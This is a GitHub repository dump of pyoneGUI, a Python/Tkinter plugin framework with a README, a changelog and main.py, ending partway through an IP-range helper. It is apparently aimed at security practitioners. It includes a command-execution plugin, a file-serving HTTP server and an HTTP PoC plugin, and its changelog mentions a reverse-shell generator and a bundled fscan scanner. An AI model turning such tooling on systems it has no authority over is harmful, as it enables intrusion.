├── .gitignore ├── CHANGELOG ├── LICENSE ├── README.md ├── image ├── about.png ├── cmd.png ├── hashid.png ├── httpget.png ├── httpserver.png ├── infoplugin.png ├── removeduplicates.png ├── sysmgr.png ├── versionview.png └── workfloworchestration.png ├── main.py ├── plugin ├── .dir_ignore ├── _lib │ ├── IPs.py │ ├── hash-id.py │ └── pyinstxtractor.py ├── _tool │ └── fscan │ │ └── fscan32.exe ├── base.py ├── demo.py ├── laboratory.py └── poc │ └── poc.py └── plugin_imgops ├── .dir_ignore └── imgops.py /.gitignore: -------------------------------------------------------------------------------- 1 | __pycache__ 2 | main.spec 3 | 新建文本文档.txt 4 | ips.txt 5 | main.exe 6 | pyoneGUI.exe 7 | build 8 | dist 9 | out_*.txt 10 | plugin - 副本 11 | cmd_py3.7.3-32.bat 12 | *_extracted 13 | t.py 14 | plugin_with_fscan 15 | run.bat 16 | 资源 17 | *.log 18 | plugin/_tool 19 | plugin_imgops/_dependencies 20 | cmd_py3.7.3-embed-amd64.bat 21 | del.bat 22 | cmd_py3.7.3-amd64.bat 23 | cmd_py3.7.3-amd64中文路径测试.bat 24 | run_pyoneGUI.bat 25 | plugin_jtest 26 | plugin_jtest2 27 | output* 28 | -------------------------------------------------------------------------------- /CHANGELOG: -------------------------------------------------------------------------------- 1 | 项目地址: 2 | https://github.com/wstone0011/pyoneGUI 3 | 绿色灵活,路径无关,插件自由,即改即用,所见即所得。助你轻松记录灵感,沉淀知识,并快速复用。 4 | 5 | 2025.4.29 6 | [+] 添加了“?帮助”功能,使得更方便的查看插件、修改插件。另外,加了些小插件,如哈希算法识别、系统管理等。 7 | 8 | 2024.02.07 9 | [+] 发布了pyoneGUI_v2.0.0.0版本,基于绿色版Python3.7.3-amd64,打包了pwntools库,添加了加载文件为Hex编码、Hex转C数组、Hex转Python数组和pwntools模板1插件。 10 | 11 | 2024.01.21 12 | [+] 发布了pyoneGUI_v1.1.1版本,封装了fscan程序。 13 | 14 | 2024.01.15 15 | [+] 发布了pyoneGUI_v1.1.0版本,框架代码做了微调,添加了-lp参数和-fp参数,可以在命令行上指定插件路径,也可以指定pyoneGUI运行后第一个运行的插件,进而选择默认插件视图,并且可以把pyoneGUI当做pyone直接在命令行中运行python脚本。内置的python环境为python-3.7.3-x86.exe。 16 | 17 | 2024.01.04 18 | [+] 发布了pyoneGUI_v1.0.3版本,添加了pyinstaller解包、pyc反编译、反弹Shell生成这3个插件,python环境为python-3.7.3-x86。 19 | 20 | 2024.01.02 21 | [+] 发布了pyoneGUI_v1.0.2版本,python环境更改为python-3.7.3-x86,在Win10和Win7 64位下运行正常。 22 | 23 | 2024.01.01 24 | [+] 发布了pyoneGUI_v1.0.1版本,python环境位python-3.12.0-amd64,在Win10下运行正常,但在Win7下运行报错。 25 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2024 wstone0011 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # pyoneGUI 2 | 自pyoneGUI_v2.0起,构建了一个绿色版的Python环境,并安装了requests、pwntools等常用库。在此基础上,开发了一套很有特色的插件机制,允许便捷地编写Python代码并将其集成到图形界面菜单中。该项目旨在帮助高效管理编程灵感,持续积累技术经验,并通过插件模块快速复用提升效率。 3 | 4 | ![about](image/about.png) 5 | 6 | ![infoplugin](image/infoplugin.png) 7 | 8 | ![hashid](image/hashid.png) 9 | 10 | # 环境依赖 11 | ``` 12 | 这些版本下有效,其他版本未测试(2025.4.29更新) 13 | 1.Win10下正常,Win7下报错 14 | Python: 3.12.0 (tags/v3.12.0:0fb18b0, Oct 2 2023, 13:03:39) [MSC v.1935 64 bit (AMD64)] 15 | tkinter.TkVersion: 8.6 16 | pyinstaller: 6.2.0 17 | 18 | 2.Win11下正常,Win10下正常,Win7_64位下正常 19 | Python: 3.7.3 (v3.7.3:ef4ec6ed12, Mar 25 2019, 21:26:53) [MSC v.1916 32 bit (Intel)] 20 | tkinter.TkVersion: 8.6 21 | pyinstaller: 5.13.2 22 | 23 | 3.Win11下正常,Win10下正常,Win7_64位下正常 24 | Python: 3.7.3 (v3.7.3:ef4ec6ed12, Mar 25 2019, 22:22:05) [MSC v.1916 64 bit (AMD64)] (目前主要以此版本的Python为基础进行开发和测试,如 pyoneGUI_v2.1.0) 25 | tkinter.TkVersion: 8.6 26 | ``` 27 | 28 | # 查看版本 29 | ## 通过“系统管理”菜单查看 30 | ![sysmgr](image/sysmgr.png) 31 | 32 | ## 通过自定义Python代码查看 33 | 例如 34 | ```python 35 | 查看python版本 36 | import sys 37 | print(sys.version) 38 | 39 | 查看操作系统版本 40 | import platform 41 | print(platform.platform()) 42 | 43 | 查看依赖库信息 44 | import sys 45 | for module_name in sys.modules: 46 | print(module_name) 47 | 48 | 查看requests库的版本 49 | import requests 50 | print(requests.__version__) 51 | 52 | ``` 53 | ![versionview](image/versionview.png) 54 | 55 | # 插件编写举例说明 56 | **注:当前阶段,pyoneGUI的特色不在插件上,而是在插件管理的机制上。** 57 | 58 | 每个插件都是Plugin类的子类,**只要在plugin目录下随便建一个py文件,写个Plugin子类就是一个新的插件。** 59 | 60 | ## 字典去重 61 | “字典去重”这个插件是在demo.py中实现的,其类名为RemoveDuplicates(唯一),menu和name分别是菜单名称和插件名称,这两个值决定了插件的显示名称。 62 | ```python 63 | class RemoveDuplicates(Plugin): 64 | menu="文本处理" 65 | name="字典去重" 66 | def run(self, text): 67 | if not text: 68 | return "" 69 | words = text.strip().replace("\r\n", "\n").split("\n") 70 | return "\n".join(list(dict.fromkeys(words))) 71 | ``` 72 | 73 | ![removeduplicates](image/removeduplicates.png) 74 | 75 | ## json格式化 76 | “json格式化”这个插件是在demo.py中实现的 77 | ```python 78 | class JsonView(Plugin): 79 | menu="文本处理" 80 | name="json格式化" 81 | def run(self, text): 82 | if not text: 83 | return "" 84 | j=json.loads(text) 85 | #formatted_json = json.dumps(j, indent=4) 86 | formatted_json = json.dumps(j, indent=4, ensure_ascii=False) 87 | return formatted_json 88 | ``` 89 | 90 | ## 场景编排demo 91 | “场景编排demo”这个插件是在laboratory.py中实现的,这是一个实验性质的插件,其展示了场景编排能力,可以把其他的插件组合在一起,按照新的逻辑处理任务。 92 | ```python 93 | class WorkflowOrchestration(Plugin): 94 | menu="实验室" 95 | name="场景编排demo" 96 | type="text" 97 | def run(self, text): 98 | tasks=[] 99 | tasks+=[RemoveDuplicates] 100 | tasks+=[ToLower] 101 | tasks+=[SortLines] 102 | 103 | for _ in tasks: 104 | text=_().run(text) 105 | 106 | return text 107 | ``` 108 | 109 | ![workfloworchestration](image/workfloworchestration.png) 110 | 111 | ## 命令行 112 | “命令行”这个插件是在laboratory.py中实现的,可以执行系统命令。这是一个有自定义界面的插件,其type类型为laboratory,通过buildWindow函数绘制了插件界面,并返回了self.output_text,点击“开始”的时候执行onStart函数,点击“查看帮助文档”的时候执行showHelp函数。 113 | ```python 114 | class CMD(Plugin): 115 | menu="实验室" 116 | name="命令行" 117 | type="laboratory" 118 | def buildWindow(self): 119 | tab_laboratory = self.frame_args["tab_laboratory"] 120 | 此处省略一些画界面的代码 121 | 122 | # 设置options 123 | self.options=Options() 124 | dic={"Name":"CMD", "Current Setting":"", "Required":"yes", "Description":"执行的命令", "obj":cmd_entry } 125 | self.options.append(dic) 126 | return self.output_text 127 | 128 | def onStart(self, event=None): 129 | options=self.getOptions() 130 | cmd=options["CMD"] 131 | 132 | self.log(f"[+] {cmd}\n") 133 | self.executeCommand(cmd, logfunc=self.log) 134 | # TODO:添加自定义命令,并使自定义命令和系统命令都支持管道 135 | 136 | def onStop(self, event=None): 137 | self.log("[*] onStop\n") 138 | 139 | def showHelp(self, event=None): 140 | super().showHelp() 141 | help="功能上相当于system(CMD)\n\n"\ 142 | "Windows下常用命令:\n"\ 143 | "netstat -ano | findstr LISTEN\t\t\t查看监听端口\n"\ 144 | "\n" 145 | self.log(help) 146 | ``` 147 | ![cmd](image/cmd.png) 148 | 149 | ## http.server 150 | “http.server”这个插件是在laboratory.py中实现的,点击开始按钮会启动一个简单的HTTP服务,可以用来下载文件。 151 | ```python 152 | class HttpServer(Plugin): 153 | menu="实验室" 154 | name="http.server" 155 | type="laboratory" 156 | server=None 157 | def buildWindow(self): 158 | tab_laboratory = self.frame_args["tab_laboratory"] 159 | 此处省略一些画界面的代码 160 | 161 | # 设置options 162 | self.options=Options() 163 | dic={"Name":"IP", "Current Setting":"", "Required":"yes", "Description":"监听网卡的IP", "obj":ip_entry } 164 | self.options.append(dic) 165 | dic={"Name":"PORT", "Current Setting":"", "Required":"yes", "Description":"监听端口", "obj":port_entry } 166 | self.options.append(dic) 167 | 168 | #MyHandler里会用 169 | PluginGlobalStorage[self.__class__.__name__]={"class_obj":self} 170 | return self.output_text 171 | 172 | def onStart(self, event=None): 173 | options=self.getOptions() 174 | IP=options["IP"] 175 | PORT=int(options["PORT"]) 176 | 177 | class MyHandler(http.server.SimpleHTTPRequestHandler): 178 | def log_message(self, format, *args): 179 | msg=format%args 180 | obj=PluginGlobalStorage["HttpServer"]["class_obj"] 181 | obj.log(msg+"\n") 182 | 183 | def fn(): 184 | with socketserver.TCPServer((IP, PORT), MyHandler) as self.server: 185 | self.log(f"监听于{IP}:{PORT}\n") 186 | self.server.serve_forever() 187 | 188 | self.log("[+] 启动Server\n") 189 | thread = threading.Thread(target=fn) 190 | thread.start() 191 | 192 | def onStop(self, event=None): 193 | if self.server: 194 | self.log("[+] 关闭Server\n") 195 | self.server.shutdown() 196 | self.server=None 197 | else: 198 | self.log("[*] Server未启动\n") 199 | 200 | def showHelp(self, event=None): 201 | super().showHelp() 202 | self.log("相当于在python3下调用:\n") 203 | self.log("python -m http.server port\n\n") 204 | self.log("或者相当于在python2.7下调用:\n") 205 | self.log("python -m SimpleHTTPServer port\n\n") 206 | ``` 207 | 208 | ![httpserver](image/httpserver.png) 209 | 210 | ## HTTP访问 211 | "HTTP访问"这个插件是在poc.py中实现的,可以访问指定的URL地址并返回结果,是PoC功能的一个例子。这个插件没有定义buildWindow函数,而是使用的父类Plugin默认的buildWindow函数完成的界面绘制。 212 | ```python 213 | class HttpGet(Plugin): 214 | menu="POC脚本" 215 | name="HTTP访问" 216 | type="laboratory" 217 | def onStart(self, event=None): 218 | options=self.getOptions() 219 | try: 220 | res = requests.get(options["URL"], headers=self.headers, timeout=3, verify=False) 221 | if 200==res.status_code: 222 | self.log(res.content.decode("utf-8")) 223 | except Exception as e: 224 | print(e) 225 | ``` 226 | 227 | ![httpget](image/httpget.png) 228 | 229 | # 其他说明 230 | ``` 231 | 1. 出于时间和动力方面的考虑,作者目前并没有提供Linux版本的pyoneGUI,但是如果要自己制作一个的话,应该也不难。 232 | ``` 233 | 234 | # 下一步计划 235 | 寻找有趣的点,丰富插件功能。 236 | -------------------------------------------------------------------------------- /image/about.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wstone0011/pyoneGUI/eaa15691443149063cfb8a18e9a4943018f01b8f/image/about.png -------------------------------------------------------------------------------- /image/cmd.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wstone0011/pyoneGUI/eaa15691443149063cfb8a18e9a4943018f01b8f/image/cmd.png -------------------------------------------------------------------------------- /image/hashid.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wstone0011/pyoneGUI/eaa15691443149063cfb8a18e9a4943018f01b8f/image/hashid.png -------------------------------------------------------------------------------- /image/httpget.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wstone0011/pyoneGUI/eaa15691443149063cfb8a18e9a4943018f01b8f/image/httpget.png -------------------------------------------------------------------------------- /image/httpserver.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wstone0011/pyoneGUI/eaa15691443149063cfb8a18e9a4943018f01b8f/image/httpserver.png -------------------------------------------------------------------------------- /image/infoplugin.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wstone0011/pyoneGUI/eaa15691443149063cfb8a18e9a4943018f01b8f/image/infoplugin.png -------------------------------------------------------------------------------- /image/removeduplicates.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wstone0011/pyoneGUI/eaa15691443149063cfb8a18e9a4943018f01b8f/image/removeduplicates.png -------------------------------------------------------------------------------- /image/sysmgr.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wstone0011/pyoneGUI/eaa15691443149063cfb8a18e9a4943018f01b8f/image/sysmgr.png -------------------------------------------------------------------------------- /image/versionview.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wstone0011/pyoneGUI/eaa15691443149063cfb8a18e9a4943018f01b8f/image/versionview.png -------------------------------------------------------------------------------- /image/workfloworchestration.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wstone0011/pyoneGUI/eaa15691443149063cfb8a18e9a4943018f01b8f/image/workfloworchestration.png -------------------------------------------------------------------------------- /main.py: -------------------------------------------------------------------------------- 1 | import tkinter as tk 2 | from tkinter import ttk 3 | from tkinterdnd2 import DND_FILES, TkinterDnD 4 | from functools import partial 5 | from tkinter import messagebox 6 | import re 7 | import os 8 | import sys 9 | import argparse 10 | #----框架中没有使用但在插件中有使用的库---- 11 | from tkinter import filedialog 12 | import builtins 13 | import subprocess 14 | import http.server 15 | import socketserver 16 | import threading 17 | import requests 18 | import socket 19 | import base64 20 | import hashlib 21 | import json 22 | import time 23 | import platform 24 | import uuid 25 | from uncompyle6 import verify 26 | from uncompyle6.main import main, status_msg 27 | from uncompyle6.version import __version__ 28 | import uncompyle6.scanners.scanner37 29 | from pwn import * 30 | 31 | pyoneGUI_VERSION="pyoneGUI v2.1.2" 32 | 33 | class Utils(object): 34 | @staticmethod 35 | def readFile(file): 36 | try: 37 | with open(file, 'r', encoding='utf-8') as f: 38 | content = f.read() 39 | return content 40 | except UnicodeDecodeError: 41 | try: 42 | with open(file, 'r', encoding='gbk') as f: 43 | content = f.read() 44 | return content 45 | except Exception as e: 46 | raise Exception("无法识别的文件编码") from e 47 | 48 | @staticmethod 49 | def writeFile(file, content): 50 | try: 51 | with open(file, 'w', encoding='utf-8') as f: 52 | f.write(content) 53 | except UnicodeDecodeError: 54 | try: 55 | with open(file, 'w', encoding='gbk') as f: 56 | f.write(content) 57 | except Exception as e: 58 | raise Exception("无法识别的文件编码") from e 59 | 60 | @staticmethod 61 | def traverseDirectory(path="plugin", find=r"^.*\.py$", ignore_dir=set([]), callback=None): 62 | if not path: 63 | return 64 | 65 | for entry in os.scandir(path): 66 | if entry.is_file(): 67 | if bool(re.match(f"{find}", entry.name)): 68 | if callback: 69 | callback(entry) 70 | 71 | elif entry.is_dir(): 72 | if entry.path not in ignore_dir: 73 | if entry.name=="__pycache__": #默认不遍历 74 | continue 75 | Utils.traverseDirectory(entry.path, find, ignore_dir, callback) 76 | 77 | class PluginHub(list): 78 | def __init__(self, *args): 79 | list.__init__(self, *args) 80 | self.lst_ignore_dirs=[] 81 | self.lst_py = [] 82 | 83 | def __getitem__(self, index): 84 | if isinstance(index, str): 85 | for dic in self: 86 | if dic["class"]==index: 87 | return dic 88 | else: 89 | return super().__getitem__(index) 90 | 91 | def loadPlugin(self, plugin_directory="plugin", appended_plugin_directory=""): 92 | def _getIgnoreDirs(entry): 93 | lines=Utils.readFile(entry.path).split("\n") 94 | for ln in lines: 95 | if ln.startswith("#"): 96 | continue 97 | ln=ln.strip() 98 | if ln and ln not in self.lst_ignore_dirs: 99 | path=os.path.normpath(os.path.dirname(entry.path)+"/"+ln) 100 | self.lst_ignore_dirs.append(path) 101 | 102 | base_py=os.path.normpath(plugin_directory+"/base.py") 103 | def _getLstPy(entry): 104 | if entry.path==base_py: 105 | self.lst_py.insert(0, entry.path) 106 | else: 107 | self.lst_py.append(entry.path) 108 | 109 | dirs_plugin =[plugin_directory] 110 | dirs_plugin += appended_plugin_directory.split(",") 111 | for _ in dirs_plugin: 112 | Utils.traverseDirectory(path=_, find=r"^\.dir_ignore$", ignore_dir=set([""]), callback=_getIgnoreDirs) 113 | #print(self.lst_ignore_dirs) 114 | Utils.traverseDirectory(path=_, find=r"^.*\.py$", ignore_dir=set(self.lst_ignore_dirs), callback=_getLstPy) 115 | #print(self.lst_py) 116 | 117 | vlst=[] 118 | for path in self.lst_py: 119 | code=Utils.readFile(path) 120 | exec(code, globals()) 121 | 122 | #找到Plugin类的子类,并完成实例化。 123 | for v in globals().values(): 124 | if str(v) not in vlst: #避免重复实例化 125 | vlst.append(str(v)) #用List防重入,效率虽慢,但可以避免{}不可哈希的问题。 126 | if Plugin in getattr(v, "__mro__", []): #形如(, , ) 127 | if v.__name__!="Plugin": #obj.__class__.__name__ 128 | v.plugin_directory=path.split(os.sep)[0] 129 | v.plugin_filepath=path 130 | obj=v() 131 | self.append({"class":obj.__class__.__name__, "obj":obj}) #不用排序,使用默认顺序挺好,方便控制菜单位置 132 | 133 | class Application(TkinterDnD.Tk): 134 | def __init__(self, pluginhub=[], first_plugin=None): 135 | super().__init__() 136 | self.pluginhub=pluginhub 137 | self.TextItems={"num":10, "list":[]} #统一管理tk.Text组件,其中list放{"obj":对象}数组 138 | self.frame_args={"text_tab_num":self.TextItems["num"], "cur_tab_id":0, "cur_text":"", "tab_laboratory":None, "pluginhub":pluginhub} 139 | self.last_clicked_plugin=None 140 | self.help_title="?" 141 | 142 | self.title("pyoneGUI") 143 | self.buildMainWindow() 144 | 145 | if first_plugin: 146 | plugin_dic=self.pluginhub[first_plugin] 147 | if plugin_dic: 148 | self.pluginRun(plugin_dic["obj"]) 149 | 150 | def buildMainWindow(self): 151 | # 居中显示窗口 152 | self.centerWindow() 153 | 154 | # 自定义关闭窗口 155 | self.protocol("WM_DELETE_WINDOW", self.onClose) 156 | 157 | # 创建菜单栏 158 | self.menubar = tk.Menu(self) 159 | self.config(menu=self.menubar) 160 | 161 | menu_control={} 162 | for dic in self.pluginhub: 163 | obj=dic["obj"] 164 | if obj.enable: 165 | if obj.menu not in menu_control: 166 | menu_control[obj.menu]=tk.Menu(self.menubar, tearoff=0) 167 | self.menubar.add_cascade(label=obj.menu, menu=menu_control[obj.menu]) 168 | cmd = partial(self.pluginRun, obj) #创建新的函数,固定参数,使有参调用变无参调用。使用functools.partial函数创建了一个新的函数cmd,它会调用self.pluginRun方法并传递参数 169 | menu_control[obj.menu].add_command(label=obj.name, command=cmd) 170 | 171 | self.menubar.add_command(label=self.help_title, command=self.onHelp) 172 | 173 | # 创建TAB组件 174 | self.tab_control = ttk.Notebook(self) 175 | tabs=[] 176 | for i in range(0, self.TextItems["num"]): 177 | tabs.append(ttk.Frame(self.tab_control)) 178 | self.tab_control.add(tabs[i], text=str(i)) 179 | self.tab_control.pack(expand=1, fill="both") 180 | 181 | # 创建文本框 182 | for i in range(0, self.TextItems["num"]): 183 | obj=tk.Text(tabs[i]) 184 | #obj.pack(expand=1, fill="both") # expand=1,组件会随着父容器的扩展而扩展;fill="both" 表示将组件填充满可用空间。两者配合,使得text0可以跟随窗口调整而变化。 185 | obj.pack(side=tk.LEFT, fill=tk.BOTH, expand=True) 186 | scroll_y = ttk.Scrollbar(tabs[i], orient=tk.VERTICAL) 187 | scroll_y.pack(side=tk.RIGHT, fill=tk.Y) 188 | scroll_y.configure(command=obj.yview) 189 | obj.configure(yscrollcommand=scroll_y.set) 190 | self.TextItems["list"].append({"obj":obj}) 191 | 192 | # 创建实验室选项卡,并且隐藏 193 | self.tab_laboratory = ttk.Frame(self.tab_control) 194 | self.tab_control.add(self.tab_laboratory, text="实验室") 195 | self.tab_control.hide(self.tab_laboratory) 196 | 197 | # 绑定tab切换事件 198 | self.tab_control.bind("<>", self.tabChanged) 199 | 200 | # 插件初始化 201 | self.frame_args["tab_laboratory"]=self.tab_laboratory 202 | for dic in self.pluginhub: 203 | dic["obj"].frame_args.update(self.frame_args) 204 | 205 | def centerWindow(self): 206 | # 获取屏幕宽度和高度 207 | screen_width = self.winfo_screenwidth() 208 | screen_height = self.winfo_screenheight() 209 | 210 | # 计算窗口的宽度和高度 211 | window_width = int(screen_width * 0.75) 212 | window_height = int(screen_height * 0.65) 213 | 214 | # 计算窗口居中时的坐标 215 | x = int((screen_width - window_width) / 2) 216 | y = int((screen_height - window_height) / 2) 217 | 218 | # 设置窗口在屏幕上的位置 219 | self.geometry(f"{window_width}x{window_height}+{x}+{y}") 220 | 221 | def onClose(self): 222 | self.destroy() 223 | os._exit(0) 224 | 225 | def tabChanged(self, event): 226 | self.frame_args["cur_tab_id"]=event.widget.index("current") 227 | 228 | def pluginRun(self, plugin): 229 | # 设置帮助菜单 230 | self.last_clicked_plugin=plugin 231 | title=f"?{self.last_clicked_plugin.name}" 232 | self.menubar.entryconfig(self.help_title, label=title) 233 | self.help_title=title 234 | 235 | # 操作输出框内容 236 | if plugin.type=="text": 237 | if self.frame_args["cur_tab_id"]>=self.frame_args["text_tab_num"]: 238 | #messagebox.showinfo(title="提示", message="当前窗口不支持此操作") 239 | text_obj=self.frame_args["laboratory_output_text_obj"] #如果当前tab是tab_laboratory,且插件绘制界面的时候返回了输出框对象,则其他插件可操作输出框内容。 240 | if not text_obj: 241 | messagebox.showinfo(title="提示", message="plugin.buildWindow()返回值为空") 242 | return 243 | else: 244 | text_obj=self.TextItems["list"][self.frame_args["cur_tab_id"]]["obj"] 245 | 246 | self.frame_args["cur_text"]=text_obj.get("1.0", tk.END+"-1c") #end-1c表示位置是在end之前的一个字符,否则会多一个换行符,烦人。 247 | text=plugin._run(self.frame_args) 248 | text_obj.delete("1.0", tk.END) 249 | text_obj.insert(tk.END, text) 250 | else: 251 | # 删除所有子组件 252 | children = self.tab_laboratory.winfo_children() # 获取子组件列表 253 | for child in children: 254 | child.destroy() 255 | 256 | # 获取行数和列数 257 | cols, rows = self.tab_laboratory.grid_size() 258 | # 重置每一行和每一列的权重 259 | for col in range(cols): 260 | self.tab_laboratory.grid_columnconfigure(col, weight=0) 261 | for row in range(rows): 262 | self.tab_laboratory.grid_rowconfigure(row, weight=0) 263 | 264 | self.frame_args["laboratory_output_text_obj"]=plugin.buildWindow() #插件通过tab_laboratory操作界面,buildWindow函数会返回一个输出文本的tk.Text对象,方便其他插件更改文本 265 | self.tab_control.add(self.tab_laboratory, text=plugin.name) #更改选项卡名称为当前插件的名称 266 | self.tab_control.select(self.tab_laboratory) #主动切换到当前插件的选项卡上 267 | 268 | def showInfoWindow(self, window, title="关于", content="", btns=[]): 269 | # 创建弹窗 270 | window.title(title) 271 | 272 | # 获取屏幕宽度和高度 273 | screen_width = window.winfo_screenwidth() 274 | screen_height = window.winfo_screenheight() 275 | 276 | # 计算窗口的宽度和高度 277 | window_width = int(screen_width * 0.45) 278 | window_height = int(screen_height * 0.35) 279 | 280 | # 计算窗口居中时的坐标 281 | x = int((screen_width - window_width) / 2) 282 | y = int((screen_height - window_height) / 2) 283 | 284 | # 设置窗口在屏幕上的位置 285 | window.geometry(f"{window_width}x{window_height}+{x}+{y}") 286 | 287 | if btns: 288 | # 添加关闭按钮 289 | btn_frame = ttk.Frame(window) 290 | btn_frame.pack(side=tk.BOTTOM, pady=5) 291 | 292 | for _ in btns: 293 | btn = ttk.Button( 294 | btn_frame, 295 | text=_["text"], 296 | command=_["command"] # 需要自行实现该方法 297 | ) 298 | btn.pack(side=tk.LEFT, padx=5) 299 | 300 | # 最后添加文本控件,窗口缩放的动的就是文本控件,避免了窗口过小看不到底层按钮的情况。 301 | text_obj = tk.Text(window, wrap="word", padx=5, pady=5) 302 | text_obj.pack(fill="both", expand=True) 303 | 304 | # 填充弹框内容 305 | text_obj.insert("end", content) 306 | text_obj.config(state="disabled") # 禁止编辑 307 | 308 | def onHelp(self): 309 | if self.last_clicked_plugin: 310 | # 设置帮助菜单 311 | title=f"?{self.last_clicked_plugin.name}" 312 | self.menubar.entryconfig(self.help_title, label=title) 313 | self.help_title=title 314 | 315 | window = tk.Toplevel(self) 316 | content = self.last_clicked_plugin.getDescription() 317 | btns = [ 318 | {"text":"打开插件目录", "command": lambda:[ subprocess.run(['explorer', '/select,', self.last_clicked_plugin.plugin_filepath], shell=True) if sys.platform == "win32" else os.startfile(os.path.dirname(self.last_clicked_plugin.plugin_filepath)), 319 | window.destroy()]}, 320 | {"text":"编辑插件脚本", "command": lambda:[ os.startfile(self.last_clicked_plugin.plugin_filepath), 321 | window.destroy()]}, 322 | {"text":"关闭", "command": window.destroy}] 323 | self.showInfoWindow(window, title, content, btns) 324 | else: 325 | window = tk.Toplevel(self) 326 | title=f"关于" 327 | content = f"""\n{pyoneGUI_VERSION}\n\n绿色灵活,路径无关,插件自由,即改即用,所见即所得。助你轻松记录灵感,沉淀知识,并快速复用。""" 328 | self.showInfoWindow(window, title, content, [{"text":"关闭", "command":window.destroy}]) 329 | 330 | def main(): 331 | parser = argparse.ArgumentParser(add_help=False) 332 | parser.add_argument("-h", "--help", dest="help", action="store_true", help="This help text.") 333 | parser.add_argument("--version", dest="version", action="store_true", help="Display the current version of pyoneGUI.") 334 | parser.add_argument("python_script", nargs="?", help="By default it starts as pyoneGUI, but if is set, it starts as pyone without GUI and executes the . must end with .py") 335 | parser.add_argument("-lp", dest="plugin_directory", nargs=1, default=["plugin"], help=f"Load plugin from when pyoneGUI starts. For example, python {sys.argv[0]} -lp plugin") #nargs=1 返回的是单元素的列表,而nargs="?"返回的是None或者字符串。 336 | parser.add_argument("-la", dest="appended_plugin_directory", nargs=1, default=[""], help=f"Load appended plugin from . For example, python {sys.argv[0]} -la dir1,dir2") 337 | parser.add_argument("-fp", dest="first_plugin", nargs=1, default=[None], help=f" will be run first when the pyoneGUI is started. For non-text plugins, this can be used to specify the default view. For example, python {sys.argv[0]} -fp Fscan") 338 | 339 | args = parser.parse_args() 340 | if args.help: 341 | parser.print_help() 342 | os._exit(0) 343 | elif args.version: 344 | print(pyoneGUI_VERSION) 345 | os._exit(0) 346 | elif args.python_script and args.python_script.endswith(".py"): 347 | code=open(args.python_script, encoding="utf-8").read() 348 | exec(code, globals()) 349 | os._exit(0) 350 | 351 | phub=PluginHub() 352 | phub.loadPlugin(plugin_directory=args.plugin_directory[0], appended_plugin_directory=args.appended_plugin_directory[0]) 353 | app = Application(pluginhub=phub, first_plugin=args.first_plugin[0]) 354 | app.mainloop() 355 | 356 | if "__main__"==__name__: 357 | main() 358 | -------------------------------------------------------------------------------- /plugin/.dir_ignore: -------------------------------------------------------------------------------- 1 | #在.dir_ignore中定义的目录在插件初始化的时候不会被扫描,可以在一定程度上加快程序启动速度,也可以避免无谓的exec执行python代码到globals污染全局变量。 2 | 3 | _lib 4 | _tool 5 | 6 | -------------------------------------------------------------------------------- /plugin/_lib/IPs.py: -------------------------------------------------------------------------------- 1 | #encoding:utf-8 2 | import struct 3 | import socket 4 | import re 5 | import bisect 6 | 7 | try: 8 | unicode = unicode 9 | except NameError: 10 | unicode = str 11 | 12 | class IPs(object): 13 | def __init__(self, *args): 14 | lst_ips = [] 15 | lst_ips_num = [] 16 | for _ in args: 17 | if isinstance(_, str) or isinstance(_, unicode): 18 | lst_ips += [_] 19 | elif isinstance(_, list): 20 | for II in _: 21 | if isinstance(II, str) or isinstance(II, unicode): 22 | lst_ips += [II] 23 | elif isinstance(II, tuple): 24 | lst_ips_num += [II] 25 | elif isinstance(II, IPs): 26 | lst_ips_num += II.values(type="int") 27 | else: 28 | raise RuntimeError("init error, not supported args: %s"%II) 29 | elif isinstance(_, IPs): 30 | lst_ips_num += _.values(type="int") 31 | else: 32 | raise RuntimeError("init error, not supported args: %s"%_) 33 | 34 | lst = [] 35 | for _ in lst_ips: 36 | (start, end) = self.parseIpRange2IntRange(_) 37 | if start<=end: 38 | lst += [(start, end)] # [(ip_num0, ip_num1), ...] 39 | 40 | lst += lst_ips_num 41 | self.lst_ips_num = self.mergeRanges([], lst) 42 | self.lsti = 0 43 | self.ipi = -1 44 | 45 | def parseIpRange2IntRange(self, ip_range): 46 | ip_range = ip_range.strip() 47 | start = 0 48 | end = 0 49 | if "/" in ip_range: 50 | #192.168.0.101/29 51 | ip, mask = ip_range.split("/") 52 | mask = int(mask) 53 | if mask<0 or mask>32: 54 | raise RuntimeError("invalid mask: %d"%mask) 55 | start= self.ip2int(ip) 56 | start &= 0xFFFFFFFF<<(32-mask) 57 | end = start|(0xFFFFFFFF>>mask ) 58 | elif "-" in ip_range: 59 | start = -1 60 | end = -1 61 | filter = re.compile(r"^(\d+)\.(\d+)\.(\d+)\.(\d+)-(\d+)\.(\d+)\.(\d+)\.(\d+)$") 62 | res = filter.findall(ip_range) 63 | if res and res[0]: 64 | #192.168.2.97-192.168.2.101 65 | record = res[0] 66 | start= self.ip2int( 